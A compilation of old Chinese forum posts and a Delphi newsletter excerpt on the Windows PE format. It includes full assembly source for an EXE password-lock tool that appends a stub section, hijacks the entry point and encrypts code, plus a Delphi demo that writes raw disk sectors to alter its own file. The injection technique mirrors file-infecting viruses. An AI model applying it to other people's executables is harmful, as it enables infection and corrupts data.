DETACHED_PROCESS equ 00000008h

CREATE_NEW_CONSOLE equ 00000010h

NORMAL_PRIORITY_CLASS equ 00000020h

IDLE_PRIORITY_CLASS equ 00000040h

HIGH_PRIORITY_CLASS equ 00000080h

REALTIME_PRIORITY_CLASS equ 00000100h

CREATE_NEW_PROCESS_GROUP equ 00000200h

CREATE_UNICODE_ENVIRONMENT equ 00000400h

CREATE_SEPARATE_WOW_VDM equ 00000800h

CREATE_SHARED_WOW_VDM equ 00001000h

CREATE_FORCEDOS equ 00002000h

CREATE_DEFAULT_ERROR_MODE equ 04000000h

CREATE_NO_WINDOW equ 08000000h

PROFILE_USER equ 10000000h

PROFILE_KERNEL equ 20000000h

PROFILE_SERVER equ 40000000h

MAXLONGLONG equ (7fffffffffffffffh)

MAXLONG equ 7fffffffh

MAXBYTE equ 0ffh

MAXWORD equ 0ffffh

MAXDWORD equ 0ffffffffh

MINCHAR equ 80h

MAXCHAR equ 07fh

MINSHORT equ 8000h

MAXSHORT equ 7fffh

MINLONG equ 80000000h

THREAD_BASE_PRIORITY_LOWRT equ 15 ;// value that gets a thread to LowRealtime-1

THREAD_BASE_PRIORITY_MAX equ 2 ;// maximum thread base priority boost

THREAD_BASE_PRIORITY_MIN equ -2 ;// minimum thread base priority boost

THREAD_BASE_PRIORITY_IDLE equ -15 ;// value that gets a thread to idle

THREAD_PRIORITY_LOWEST equ THREAD_BASE_PRIORITY_MIN

THREAD_PRIORITY_BELOW_NORMAL equ (THREAD_PRIORITY_LOWEST+1)

THREAD_PRIORITY_NORMAL equ 0

THREAD_PRIORITY_HIGHEST equ THREAD_BASE_PRIORITY_MAX

THREAD_PRIORITY_ABOVE_NORMAL equ (THREAD_PRIORITY_HIGHEST-1)

THREAD_PRIORITY_ERROR_RETURN equ (MAXLONG)

THREAD_PRIORITY_TIME_CRITICAL equ THREAD_BASE_PRIORITY_LOWRT

THREAD_PRIORITY_IDLE equ THREAD_BASE_PRIORITY_IDLE

HKEY_CLASSES_ROOT equ 80000000h

HKEY_CURRENT_USER equ 80000001h

HKEY_LOCAL_MACHINE equ 80000002h

HKEY_USERS equ 80000003h

HKEY_PERFORMANCE_DATA equ 80000004h

HKEY_CURRENT_CONFIG equ 80000005h

HKEY_DYN_DATA equ 80000006h

REG_OPTION_RESERVED equ 00000000h

REG_OPTION_NON_VOLATILE equ 00000000h

REG_OPTION_VOLATILE equ 00000001h

REG_OPTION_CREATE_LINK equ 00000002h

REG_OPTION_BACKUP_RESTORE equ 00000004h

REG_OPTION_OPEN_LINK equ 00000008h

REG_LEGAL_OPTION equ REG_OPTION_RESERVED or REG_OPTION_NON_VOLATILE or REG_OPTION_VOLATILE or REG_OPTION_CREATE_LINK or REG_OPTION_BACKUP_RESTORE or REG_OPTION_OPEN_LINK

REG_CREATED_NEW_KEY equ 00000001h

REG_OPENED_EXISTING_KEY equ 00000002h

REG_WHOLE_HIVE_VOLATILE equ 00000001h

REG_REFRESH_HIVE equ 00000002h

REG_NO_LAZY_FLUSH equ 00000004h

REG_NOTIFY_CHANGE_NAME equ 00000001h

REG_NOTIFY_CHANGE_ATTRIBUTES equ 00000002h

REG_NOTIFY_CHANGE_LAST_SET equ 00000004h

REG_NOTIFY_CHANGE_SECURITY equ 00000008h

REG_LEGAL_CHANGE_FILTER equ REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_ATTRIBUTES or REG_NOTIFY_CHANGE_LAST_SET or REG_NOTIFY_CHANGE_SECURITY

REG_NONE equ 0

REG_SZ equ 1

REG_EXPAND_SZ equ 2

REG_BINARY equ 3

REG_DWORD equ 4

REG_DWORD_LITTLE_ENDIAN equ 4

REG_DWORD_BIG_ENDIAN equ 5

REG_LINK equ 6

REG_MULTI_SZ equ 7

REG_RESOURCE_LIST equ 8

REG_FULL_RESOURCE_DESCRIPTOR equ 9

REG_RESOURCE_RequIREMENTS_LIST equ 10

KEY_QUERY_VALUE equ 0001h

KEY_SET_VALUE equ 0002h

KEY_CREATE_SUB_KEY equ 0004h

KEY_ENUMERATE_SUB_KEYS equ 0008h

KEY_NOTIFY equ 0010h

KEY_CREATE_LINK equ 0020h

KEY_READ equ (STANDARD_RIGHTS_READ or KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY) and (not SYNCHRONIZE)

KEY_WRITE equ (STANDARD_RIGHTS_WRITE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY) and (not SYNCHRONIZE)

KEY_EXECUTE equ (KEY_READ) and (not SYNCHRONIZE)

KEY_ALL_ACCESS equ (STANDARD_RIGHTS_ALL or KEY_QUERY_VALUE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY or KEY_CREATE_LINK) and (not SYNCHRONIZE)

SERVICE_KERNEL_DRIVER equ 000000001h

SERVICE_FILE_SYSTEM_DRIVER equ 000000002h

SERVICE_ADAPTER equ 000000004h

SERVICE_RECOGNIZER_DRIVER equ 000000008h

SERVICE_DRIVER equ SERVICE_KERNEL_DRIVER or SERVICE_FILE_SYSTEM_DRIVER or SERVICE_RECOGNIZER_DRIVER

SERVICE_WIN32_OWN_PROCESS equ 000000010h

SERVICE_WIN32_SHARE_PROCESS equ 000000020h

SERVICE_WIN32 equ SERVICE_WIN32_OWN_PROCESS or SERVICE_WIN32_SHARE_PROCESS

SERVICE_INTERACTIVE_PROCESS equ 000000100h

SERVICE_TYPE_ALL equ SERVICE_WIN32 or SERVICE_ADAPTER or SERVICE_DRIVER or SERVICE_INTERACTIVE_PROCESS

SERVICE_BOOT_START equ 0

SERVICE_SYSTEM_START equ 000000001h

SERVICE_AUTO_START equ 000000002h

SERVICE_DEMAND_START equ 000000003h

SERVICE_DISABLED equ 000000004h

SERVICE_ERROR_IGNORE equ 0

SERVICE_ERROR_NORMAL equ 000000001h

SERVICE_ERROR_SEVERE equ 000000002h

SERVICE_ERROR_CRITICAL equ 000000003h

; ====================================================================

@wordalign macro Adr,x

if (($-Adr)/2) NE (($-Adr+1)/2)

db x

endif

endm

@dwordalign macro Adr,x

if 4-(($-Adr) mod 4)

db 4-(($-Adr) mod 4) dup (x)

endif

endm

----------------------------------------------------------------------

来自：jingtao, 时间：2001-6-14 11:30:00, ID：566262

继续:)

4、主程序passw.asm，内容如下:

.586p

.model flat,stdcall

include win.inc

.data

start:

call GetModuleHandleA,0

mov [hInst], eax

call GetOpenFileNameA,offset OpenStruct

or eax,eax

jz short exitpr

mov esi,offset pswd

cmp byte ptr [esi],0

jnz short pasOK

call MessageBoxA,0,offset empty,0,MB_ICONHAND

jmp short exitpr

pasOK: call MakeCode

mov dword ptr [incode],eax

mov eax,offset Fname

call AddSection

mov ecx,offset msgdone

jnc short DoBox

mov ecx,offset msgfail

DoBox: call MessageBoxA, 0, ecx, offset btitle, 0

exitpr: call ExitProcess, 0

OpenStruct:

dd 76,0

hInst dd 0

dd offset Filter,0,0,0,offset Fname,256,0,0,0,offset optitle

; flags:

dd OFN_FILEMUSTEXIST or OFN_ENABLEHOOK or OFN_ENABLETEMPLATE or OFN_HIDEREADONLY or OFN_EXPLORER

dd 0,0,0,offset OpenDlgProc,1235

Filter db 'Exe文件 (*.exe)',0,'*.exe',0,0

Fname db 256 dup (?)

optitle db 'Win32 EXE文件加密器 for Windows95/98/NT',0

btitle db "完成:",0

msgfail db "出错啦,可能原因:非EXE文件, 内存空间不足或只读文件!", 0

msgdone db "成功设置了密码!",0

memERR db "该文件已经损坏!",0

empty db "密码不能为空!",0

pswd db 80 dup (?)

OpenDlgProc:

push ebx esi edi ebp

mov ebp,esp

cmp dword ptr [ebp+18h],WM_COMMAND

jnz short return

call GetDlgItemTextA,dword ptr [ebp+14h],1234,offset pswd,80

return: pop ebp edi esi ebx

xor eax,eax

ret 10h

; in: EAX -> filename

AddSection:

call CreateFileA,eax,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0

inc eax

jz error

dec eax

mov [handle],eax

; read MZ-header

call ReadFile,eax,offset bufHDR,40h,offset len1,0

cmp word ptr [bufHDR], 'ZM' ; MZ

jnz error

cmp [bufHDR+18h],40h

jb error

mov edx,dword ptr [bufHDR+3ch] ; start of PE header in file

mov [filePE],edx

mov eax,edx

call SeekFile

; read PE-header

call ReadFile,[handle],offset bufHDR,100h,offset len1, 0

cmp dword ptr [bufHDR],'EP' ; PE

jnz error

mov dword ptr [bufHDR+58h],0 ; zero checksum

; store old RVAs

mov eax,dword ptr [bufHDR+28h]

mov ebx,dword ptr [bufHDR+50h] ; image size

mov dword ptr [oldRVA],ebx ; store rva of new object

mov dword ptr [oldENT],eax ; store entry_RVA

mov eax,dword ptr [bufHDR+80h]

mov dword ptr [oldIMP],eax

; calculate RVA of new object

mov dword ptr [oneobj+0ch],ebx ; RVA of new object

mov dword ptr [bufHDR+28h],ebx ; new entry

lea eax,[ebx+Newimpdir-Addon]

mov dword ptr [bufHDR+80h],eax ; new imports

; make import directory

lea eax,[ebx+a1-Addon]

mov [lpA1],eax

lea eax,[ebx+_LoadLibraryA-Addon]

mov [lp_GMH],eax

mov [lpGMH],eax

lea eax,[ebx+a3-Addon]

mov [_LoadLibraryA],eax

lea eax,[ebx+a4-Addon]

mov [_GetProcAddress],eax

; find section parameters

xor eax,eax

call SetFilePointer,[handle],eax,eax,FILE_END

call FileAlign

mov dword ptr [oneobj+14h],eax

mov eax,AddonEnd-Addon

mov ebx,eax

call FileAlign

mov dword ptr [oneobj+10h],eax

xchg eax,ebx ; now ebx = FileAligned length, eax = length

call ObjectAlign

mov dword ptr [oneobj+8h],eax

add dword ptr [bufHDR+50h],eax ; update image size

; find place for last object

movzx eax,[bufHDR+14h] ; NT header size

add eax,[filePE]

add eax,18h ; now eax = offset of first object record

mov cx,word ptr [bufHDR+6]

mov edi,offset objbuf

mov esi,offset len1

unprot: push ecx eax esi

call SeekFile

call ReadFile,[handle],edi,28h,esi,0

mov esi,[edi+10h]

mov eax,[edi+0Ch] ; get section RVA

cmp dword ptr [oldENT],eax

jb noStartSection

add eax,esi ; edi = start+size = end_of_section

cmp dword ptr [oldENT],eax

jae noStartSection

; --------------------------------- encrypt section with entrypoint

extern GlobalAlloc:PROC

call GlobalAlloc,GMEM_FIXED,esi

test eax,eax

jnz short memOK

call MessageBoxA,NULL,offset memERR,NULL,MB_ICONHAND

pop esi eax ecx

jmp error

memOK: mov ebx,eax

call SetFilePointer,[handle],dword ptr [edi+14h],0,FILE_BEGIN

call ReadFile,[handle],ebx,esi,offset len1,0 ; read section

mov ecx,esi

mov edx,offset pswd

mov dword ptr [Secsize],esi

mov eax,[edi+0Ch]

mov dword ptr [SecRVA],eax

mov eax,ebx

call CryptSect

call SetFilePointer,[handle],dword ptr [edi+14h],0,FILE_BEGIN

call WriteFile,[handle],ebx,esi,offset len1,0 ; write section

noStartSection:

; --------------------------------- Write section object back to file

pop esi eax

or dword ptr [edi+24h],0c0000000h ; set READ and WRITE flags

push eax

call SeekFile

call WriteFile,[handle],edi,28h,esi,0

pop eax ecx

add eax,28h

dec cx

jnz unprot

unpdone:

; Write new object record to sections table

call SeekFile

mov edx,offset oneobj

mov ecx,offset len1

call WriteFile,[handle],edx,28h,ecx,0

; Write section to end of file

mov eax, dword ptr [oneobj+14h]

call SeekFile

call WriteFile,[handle],offset Addon,dword ptr [oneobj+10h],offset len1,0

inc word ptr [bufHDR+6] ; inc number of objects

; write updated PE-header

mov eax,[filePE]

call SeekFile

call WriteFile,[handle],offset bufHDR,100h,offset len1,0

xor eax,eax ; success flag

CNT: pushf

call CloseHandle,[handle]

popf

ret

error: stc

jmp short CNT

; ----- SEEK --------------------------------------

SeekFile:

call SetFilePointer,[handle],eax,0,FILE_BEGIN

ret

; =================================================

; ==== Align address to file align ================

; in: eax=address; out: eax=new address

FileAlign:

mov ecx,dword ptr [bufHDR+3ch]

jmp short Align1

ObjectAlign:

mov ecx,dword ptr [bufHDR+38h]

Align1: dec eax

dec ecx

or eax,ecx

inc eax

ret

; =================================================

handle dd 0 ; handle to current file

len1 dd 0 ; temporary variable

filePE dd 0 ; position of PE header in file

; =================================================

; All addresses, deals with 'victim program', must be indexed via EDI,

; but all with internal structures - via EBP!!

; ----------------------------------------------------------------------------

Addon:

call SkipAV

N1: mov ebp, esp

pop ebp

retn

SkipAV: xor eax, eax

pop ebp

mov edi,ebp

sub ebp,offset N1

sub edi,3456789h

oldRVA equ $-4

sub edi,N1-Addon

mov dword ptr [ebp+ourebp],ebp

lea ebx,[ebp+ImpAdr]

lea esi,[ebp+Import-1]

im1: inc esi

cmp byte ptr [esi],0

jz short MyImpDone

call [ebp+_LoadLibraryA],esi

im2: inc esi

cmp byte ptr [esi],0

jnz short im2

inc esi

cmp byte ptr [esi],0

jz short im1

push eax

call [ebp+_GetProcAddress],eax,esi

mov [ebx],eax

pop eax

add ebx,4

jmp short im2

MyImpDone:

; ---------------- Dialog Box

call [ebp+_GetModuleHandleA],0

lea ecx,[ebp+DlgTemplate]

lea edx,[ebp+DlgProc]

push ebp

call [ebp+_CreateDialogIndirectParamA],eax,ecx,0,edx,WM_USER

pop ebp

lea esi,[ebp+MSG]

msgloop:call [ebp+_GetMessageA],esi,0,0,0

or eax,eax

jz Quit

call [ebp+_TranslateMessage],esi

call [ebp+_DispatchMessageA],esi

cmp byte ptr [ebp+okpas],0

jz short msgloop

; -------------- Decrypt code section

mov ecx,12345678h

Secsize equ $-4

mov eax,12345678h

SecRVA equ $-4

lea edx,[ebp+GetTextBuf]

add eax,edi ; RVA => VA

cmp ecx,12345678h

jz short skipcrypt

call CryptSect

skipcrypt:

; -------------- Import for program

DoImport:

mov esi,12345678h ; old import directory

oldIMP equ $-4

imploop:mov eax,[edi+esi+0ch]

or eax,eax

jz short ExtImpDone

add eax,edi

call [ebp+_LoadLibraryA],eax

or eax,eax

jz short imperror

mov ebx,[edi+esi]

mov ecx,[edi+esi+10h]

add esi,14h

or ebx,ebx ; second type of export

jnz short lookupok

mov ebx,ecx

lookupok:

mov edx,[edi+ebx]

add ebx,4

or edx,edx

jz short imploop

test edx,80000000h

jz short impname ; make import by name

movzx edx,dx

jmp short import1 ; make import by ordinal

impname:lea edx,[edi+edx+2]

import1:push eax ecx

call [ebp+_GetProcAddress],eax,edx

pop ecx

or eax,eax

jz short imperror

mov [edi+ecx],eax

pop eax

add ecx,4

jmp short lookupok

imperror:

lea ecx,[ebp+ERROR1]

lea eax,[ebp+ERROR2]

call [ebp+_MessageBoxA],0,ecx,eax,0

Quit: jmp [ebp+_ExitProcess]

ExtImpDone:

RUN: lea eax,[edi+123456h] ; restore old entry

oldENT equ $-4

jmp eax

; ==================================================

DlgProc:push ebx esi edi ebp

mov ebp,esp

; ebp+20h -> lParam, ebp+1c -> wParam

; ebp+18h -> message, ebp+14h -> hwnd

mov edi,12345678h

ourebp equ $-4

xor eax,eax

cmp dword ptr [ebp+18h],WM_INITDIALOG

jnz short noINIT

mov eax,1

jmp short DlgDone

noINIT: cmp dword ptr [ebp+18h],WM_COMMAND

jnz short noCMD

cmp word ptr [ebp+1eh],EN_CHANGE

jnz short noCMD

lea ecx,[edi+GetTextBuf]

push ecx

call [edi+_SendMessageA],dword ptr [ebp+20h],WM_GETTEXT,64,ecx

pop esi

call MakeCode

cmp eax,12345678h

incode equ $-4

mov eax,0

jnz short DlgDone

inc byte ptr [edi+okpas]

call [edi+_EndDialog],dword ptr [ebp+14h],0

DlgDone:pop ebp edi esi ebx

ret 10h

noCMD: cmp dword ptr [ebp+18h],WM_SYSCOMMAND

jnz short DlgDone

cmp dword ptr [ebp+1ch],SC_CLOSE

jnz short DlgDone

jmp [edi+_ExitProcess]

; ==================================================

; in: ESI -> password, out: EAX="crc32"

MakeCode:

xor eax,eax

Code1: push ecx esi edx

xor edx,edx

dec esi

cdloop: inc esi

xor ah,byte ptr [esi]

cdlp1: xor al,dl

add eax,"CODE"

mov cl,al

ror eax,cl

xor eax,055AA5A5Ah

dec dx

jnz cdlp1

cmp byte ptr [esi],0

jnz short cdloop

pop edx esi ecx

ret

; --------------------------------------------------

; in: eax=start, ecx=size, edx=password

CryptSect:

pushad

mov edi,eax

mov esi,edx

mov eax,"HASH"

xor al,[esi]

call Code1

mov ebx,eax

xor ah,[esi]

call Code1

shr ecx,2

mov edx,ecx

crLoop: xor [edi],eax

mov cl,al

add edi,4

rol ebx,cl

xor eax,ebx

mov cl,bh

ror eax,cl

add ebx,eax

dec edx

jnz short crLoop

popad

ret

; ==================================================

Import db 'KERNEL32.dll',0

db 'GetModuleHandleA',0

db 'ExitProcess',0,0

db 'USER32.dll',0

db 'MessageBoxA',0

db 'GetMessageA',0

db 'TranslateMessage',0

db 'DispatchMessageA',0

db 'CreateDialogIndirectParamA',0

db 'SendMessageA',0

db 'EndDialog',0

db 0,0

ImpAdr:

; KERNEL32

_GetModuleHandleA dd 0

_ExitProcess dd 0

; USER32

_MessageBoxA dd 0

_GetMessageA dd 0

_TranslateMessage dd 0

_DispatchMessageA dd 0

_CreateDialogIndirectParamA dd 0

_SendMessageA dd 0

_EndDialog dd 0

Newimpdir:

lpGMH dd offset _LoadLibraryA,0,-1

lpA1 dd offset a1

lp_GMH dd offset _LoadLibraryA,14h dup(0)

a1 db 'KERNEL32.dll',0,0

_LoadLibraryA dd offset a3

_GetProcAddress dd offset a4,0

a3 db 1,0,'LoadLibraryA',0

a4 db 2,0,'GetProcAddress',0,0

ERROR1 db 'Can''t perform import',0

ERROR2 db 'SMT''s PE-sticker',0

@dwordalign Addon,0

DlgTemplate dd WS_SYSMENU or WS_CAPTION or WS_VISIBLE or DS_3DLOOK or DS_MODALFRAME or WS_POPUP or DS_CENTER

dw 0,0,1 ; num of items

dw 100,100,100,20 ; x,y,dx,dy

dw 0,0 ; menu & class

db 'E',0,'n',0,'t',0,'e',0,'r',0,' ',0,'P',0,'a',0,'s',0,'s',0,'w',0,'o',0,'r',0,'d',0,0,0 ; the title of the dialog

@wordalign Addon,0

dd ES_PASSWORD or ES_LEFT or WS_VISIBLE or WS_CHILD or WS_BORDER or ES_AUTOHSCROLL

dd 0 ; ext. style

dw 5,5,90,8 ; x,y,dx,dy

dw 1 ; control id

dw 0ffffh, 81h ; class id = "edit"

db 0,0 ; edit text

okpas dw 0 ; this variable used as end of DlgTemplate and as a password flag

GetTextBuf db 64 dup (0) ; buffer for edit text

MSG dd 8 dup (0)

AddonEnd:

; ==========================================

oneobj db 'SMT//SMF'

dd 7 dup (0),0E2000020h ; buffer for one object and flags

; dd 7 dup (0),0E2000060h ; buffer for one object and flags

bufHDR db 100h dup (0) ; for MZ/PE header

objbuf db 28h dup(0)

; ==========================================

extrn ExitProcess:proc

extrn GetModuleHandleA:proc

extrn MessageBoxA:proc

extrn GetOpenFileNameA:PROC

extrn CreateFileA:PROC

extrn ReadFile:PROC

extrn WriteFile:PROC

extrn SetFilePointer:PROC

extrn GetProcAddress:PROC

extrn CloseHandle:PROC

extrn GetDlgItemTextA:PROC

.code

nop

end start

---------------------------------------------------------------------

5、Passw.ico，程序图标，自己挑一个吧，我选了一个766字节的。

然后执行Make.bat 即可生成一个大小为7KB的passw.EXE,运行它，出现一个选择

框，选择文件，选择框最下面是输入密码框。输入密码就OK了。加密后的EXE大小

增加1.5KB。是真正的加密而不是伪加密哟:)

实际上，如果单纯用Delphi来实现真正的加密也是可以的，比如说用注入进程三

级跳的方法，当然里面也是有技巧的。你不能另外带一个DLL。


exeLock技术完全分析
exeLock技术完全分析

真辛苦啊！这是我想说的第一句话。

有时痛苦得都不想做下去了，但我始终相信我可以做出来，就坚持下来了。要命的是，我的键盘和鼠标都不太灵活了，更要命的是，我连买一只新鼠标的钱都拿不出来！

一开始想做这个程序的时候，发现从理论上来讲真的是非常的简单，设有一个程序名叫dosomething，我们的检查密码的程序叫checkpassword，那么，我们把checkpassword加入到dosomething的前面，在某人想运行dosomething的时候，好了，checkpassword跳了出来，某人输入正确的密码，就让他dosomething，反之亦然。

简单吧，但只是看起来是这样！

我们把这个dosomething.exe用记事本什么的打开，看到的只是一堆乱码，完全没有设想中的begin,end之类的东西，呵呵，连程序从那里开始都不知道，更不用说什么加入自己的代码了。:)

要了解EXE的文件结构，就要知道PE(Portable Executable File Format)是什么东东，下面是相关的几篇文章，推荐先看一下:)

Matt Pietrek大哥写的Peering Inside the PE: A Tour of the Win32 Portable Executable File Format，他可是我的偶像之一哦。

候捷先生翻译的中文版！嗯，我就知道你要这个。我的另一个偶像:)

MSDN里的Microsoft Portable Executable and Common Object File Format Specification,官方资料。

如果你E文不好的话，就看候捷先生那篇就可以看通本文了。

如果你看不懂以上文档的话，嗯……我帮不了你了，哈哈，说笑了:)

想把一个程序嵌到另一个程序运行可以分为三个步骤:

1 修改PE文件头信息

2 增加一个段表信息(Section Table)

3 写入壳文件

下面是我对这三个步骤的详细说明。

1 修改PE文件头信息

.1 段数加一(NumberOfSections)

我们加了一个Section，这个数当然要加一了。

.2 修改程序入口(AddressOfEntryPoint)

这个就有不用说了吧！呵呵，把这个地址指到壳文件的入口就行了，注意的是要加上ImageBase 。

.3 增加代码大小(SizeOfCode)

是原来的大小加上壳文件的大小（壳的头部除外）。

.4 增加内存映像大小(SizeOfImage)

也是原来的大小加上壳文件的大小（壳的头部除外）。

.5 修改引入表(Import Table)入口(DataDirectory[1].VirtualAddress)

这个比较重要，请仔细看了。

我们知道，一般的windows的程序都有API的调用，这个Import Table里放的就是程序要调用的DLL的名称和各个函数的名称或序号。由于我们的外壳程序也要用到API的调用，所以我们必须把入口修改为外壳程序的Import Table的入口。一开始的时候，我本来想不修改这个入口的，但为了清除外壳程序时的方便，所以只有修改原Import Table的入口了，但这又引起了另一个麻烦，就是我们必需人工装入原程序的输入部分。也就是说，原来的程序要引用的DLL现在要外壳程序加载上去了，嗯……真是有得必有失啊。因为Import Table是装入器，也就是运行程序时把程序装入系统并运行的那个家伙，自动加载上去的，修改了原程序的入口之后，装入器就加载了壳程序的Import Table，而原程序的Import Table它就不管了（它不知道啊，怎么管？）。所以只有壳程序把这个粗活接下来了。

.6 修改引入表(Import Table)大小(DataDirectory[1].Size)

这个改为壳程序的引入表大小就可以了。

2 增加一个段表信息(Section Table)

.1 在最后一个段表信息之后增加一个段表信息".BOYU"

没有这个段表信息的话，系统才不管你加了什么东西进去呢。

3 写入壳文件

.1 把壳程序的exe文件中的涉及到地址部分相应地加上原程序的基址(ImageBase)，

一般来说是调用DLL，还有全局变量的时候要用到。

.2 保存原程序的ImageBase,AddressOfEntryPoint,Import Table入口(DataDirectory[1].VirtualAddress)在壳程序的.data 里的相应的变量偏移地址，以供壳程序使用。

.3 把壳程序的exe文件的三个段.code、 .rdata 、.data写入原exe文件的尾部，要注意段对齐(Section Align)

这三个段合并为一个，写到段表信息量".BOYU"的PointerToRawData所指的地方，因为要注意Section Align 所以前面可能要加上补足的部分。


可执行文件的自修改
：　Mercedes()　(2001-8-30 8:41:05) 得0分

前几天才刚刚在Borland的新闻组里看到这个，以下的源代码已经过测试。

运行环境：WIN98+D5

将代码编译好后，把EXE文件拷贝到一张空白的软盘里面，然后从软件里执行这个程序就可以了。

它是用写磁盘绝对位置的方法来修改EXE文件的。

//////////////////////////////

运行时改变自身文件的代码

Here is source code that will create a delphi app that can write to it's own exe file on disk while it runs... win9x only... but you can do the same thing on 95-->xp if you code a different direct sector routine.

It's not magic at all... but it works... Just format a fresh and clean floppy and then compile this code and copy it to the disk... then run it and type in a new DOS stub message in the edit box and press the button... the next time you run the program it will display the DOS stub txt that you entered as it's caption.

This simple minded demo does not look for the sectors that contain your exe because you have placed it on a fresh 1.44 floppy and it know that the dos stub code is in sector 33 :-) but you can code a routine to find all the sectors of an exe on a hd and use the same sort of code to alter all of them...

I worked on a program that downloaded updates from the web and installed them into the running programs exe file... it worked but when I ran it all night doing constant updates on the exe while running a disk defrag it wound up corrupting the hd :-( so I abandoned the scheme in favor of the much safer trick of just appearing to alter an exe's file while it runs....here is the code... I hope the text formats correctly

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Edit1: TEdit;

Label1: TLabel;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

public

end;

var

Form1: TForm1;

const

VWin32_DIOC_DOS_Int25 = 2; // direct read access

VWin32_DIOC_DOS_Int26 = 3; // direct write access

type

TDevIoCtl_Reg = packed Record

Reg_EBX : DWord;

Reg_EDX : DWord;

Reg_ECX : DWord;

Reg_EAX : DWord;

Reg_EDI : DWord;

Reg_ESI : DWord;

Reg_Flags : DWord;

end;

type

TDiskIO = packed record

StartSektor : DWord;

AnzahlSektoren : Word;

PBuffer : DWord;

end;

implementation

{$R *.DFM}

//Demo program that writes new data to the PE

//of a running delphi exe WHILE IT IS RUNNING! :-)

//To use this demo just freshly format a standard

//1.44 mb floppy disk and then copy this exe to it

//run it from the floppy and it can alter itself

//by writting a new DOS stub Message to the exe's file

//on the disk ... the next time the program is run the

//new stub text will be in the caption :-)

//To do this on a HD just discern the location of the

//disk sector that contains the first 512 bytes of this exe

//you can get this from the dir/fat data... this disk code

//only works on fat 16 hd's so you need to recode for fat32

//This is meant to be a demo that proves that contrary to

//popular opinion an exe can write to it's own file while

//running!... but just because something CAN be done does

//not mean that it SHOULD be done! ... you will likely

//wind up destroying data on a HD if you write code to

//locate an exe on the hd and alter it directly...WinDoze

//is totally blind to the fact that you are writing data

//to the sectors directly and will happily move things about

//while you are doing it... and you will wind up overwritting

//the wrong data sooner or later :-(

procedure TForm1.Button1Click(Sender: TObject);

var

x: Integer;

DevIoHandle : THandle;

BytesReturned : DWord;

Reg : TDevIoCtl_Reg;

DiskIO : TDiskIO;

DatenBuffer : Array [0..511] of Byte; // = 512 Bytes

begin

if (length(edit1.text)>35) or (length(edit1.text)=0) then

begin

showmessage('Please enter a new DOS stub text of 1 to 35 chars!');

exit;

end;

with DiskIO do

begin

StartSektor := 33; // from sector 33

AnzahlSektoren := 1; // read 1 sector

PBuffer := DWord(@DatenBuffer);

end;

with Reg do

begin

Reg_EAX := 0; // drive: 0 = A, 1 = B etc.

Reg_EBX := DWord(@DiskIO);

Reg_ECX := $FFFF; // use DiskIO

end;

DevIoHandle := CreateFile(

'\.',

Generic_Read,

File_Share_Read or File_Share_Write,

nil,

Open_Existing,

File_Attribute_Normal,

0);

if DevIoHandle <> Invalid_Handle_Value then

begin

DeviceIoControl(DevIoHandle,

VWin32_DIOC_DOS_Int25,

@Reg,

SizeOf(Reg),

@Reg,

SizeOf(Reg),

BytesReturned,

nil);

for x := 80 to 80 + length(edit1.text) do

begin

DatenBuffer[x] := ord(edit1.text[x-79]);

end;

DeviceIoControl(DevIoHandle,

VWin32_DIOC_DOS_Int26,

@Reg,

SizeOf(Reg),

@Reg,

SizeOf(Reg),

BytesReturned,

nil);

CloseHandle(DevIoHandle);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

Var x: Byte;

begin

Form1.Caption := '';

For X := 80 to 115 do

begin

Form1.Caption := Form1.Caption +

Char(pointer(Hinstance+X)^);

end;

end;

end.

================

I will zip up a file with all the source files and put it in the attachements group....this will make it easier for anyone that wants to build this silly little demo :-)

p.s.

In the program I wrote to auto-update from the web I was compressing a 500kb delphi app down to 170kb using UPX... then I padded out the compressed file back to the original 500kb using 00H bytes.. this file would then pkzip down to about 160kb because all the 00H's scrunched down

to nearly nothing... this gave me a large space to build out a large update into and let me avoid altering the fat because there was plenty of useable room in the original file...the already allocated sectors were always able to hold a larger updated exe...and all the 00H bytes had no ill effect on the exe before or after an update :-)

--------------------------------------------------------------------------------

***************************************

The Unofficial Newsletter of Delphi Users - by Robert Vivrette

---------------------------------

Self-Modifying Code With Delphi

by Marcus M?nnig - minibbjd@gmx.de

Preface

Lots of people using high-level languages, like Object Pascal, do not know much about what happens with their code when they click compile in Delphi. If you have a basic knowledge about assembler and about the exe file format, the comments in the source code should make everything pretty clear. For everyone else, I will try to explain what's done in the source code.

My own knowledge about assembler and the exe format is limited and I learned most of it while looking for information about piracy protection and how to implement self-modifying code myself. The reason why I did this article is that I found very little information about this issue, so I put everything I found together to share it. Further, english is not my native language, so excuse any spelling and grammatical mistakes.

Self-modifying code with Delphi

What is it? Normally, we modify our code at design time. This usually happens inside Delphi before the code is compiled. Well, we all know this.

Then, sometimes compiled code gets modified, e.g. a patch might be applied to a (non-running) exe file to do changes to the original exe. This is often used when applications are distributed widely and the users want to update to a newer version. To save download time and to prevent that the user has to reinstall the whole application again, only the differences between two versions of an exe file are distributed in a patch file an applied to the old version of the exe. Another example of patch files are "cracks"... little com or exe files that remove built-in limitations (evaluation time limits, etc.) from applications.

These two kinds of code modifications are obviously done before the exe is executed. When an exe file is executed the file gets loaded into memory. The only way to affect the behavior of the program after this point is to modify the memory where the exe now resides.

A program that modifies itself while it is running by doing changes to the memory uses "self-modifying code".

Why is it bad?

Self-modifying code makes debugging harder, since there is a difference in what is in the memory and what the debugger thinks is in the memory.

Self-modifying code also has a bad reputation, especially because the most prominent use for it are viruses, that do all kinds of hide and seek tricks with it. This also means that if you use self-modifying code it's always possible that a virus checker will complain about your application.

Why is it good?

Self-modifying code makes debugging harder. While this is bad if you want to debug your code, it's good to prevent others from debugging your code or at least make it harder for them. This is the reason why self-modifying code can be an effective part of a piracy protection scheme. It won't prevent that an application can be cracked, however a wise use of this technique can make it very hard.

What functions are needed?

In a Windows environment we can make use the following API calls:

ReadProcessMemory(hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesRead);

This function is used, well, to read the memory of a process. Since this article is about _self_-modifying code, we will always use this function on our process only.

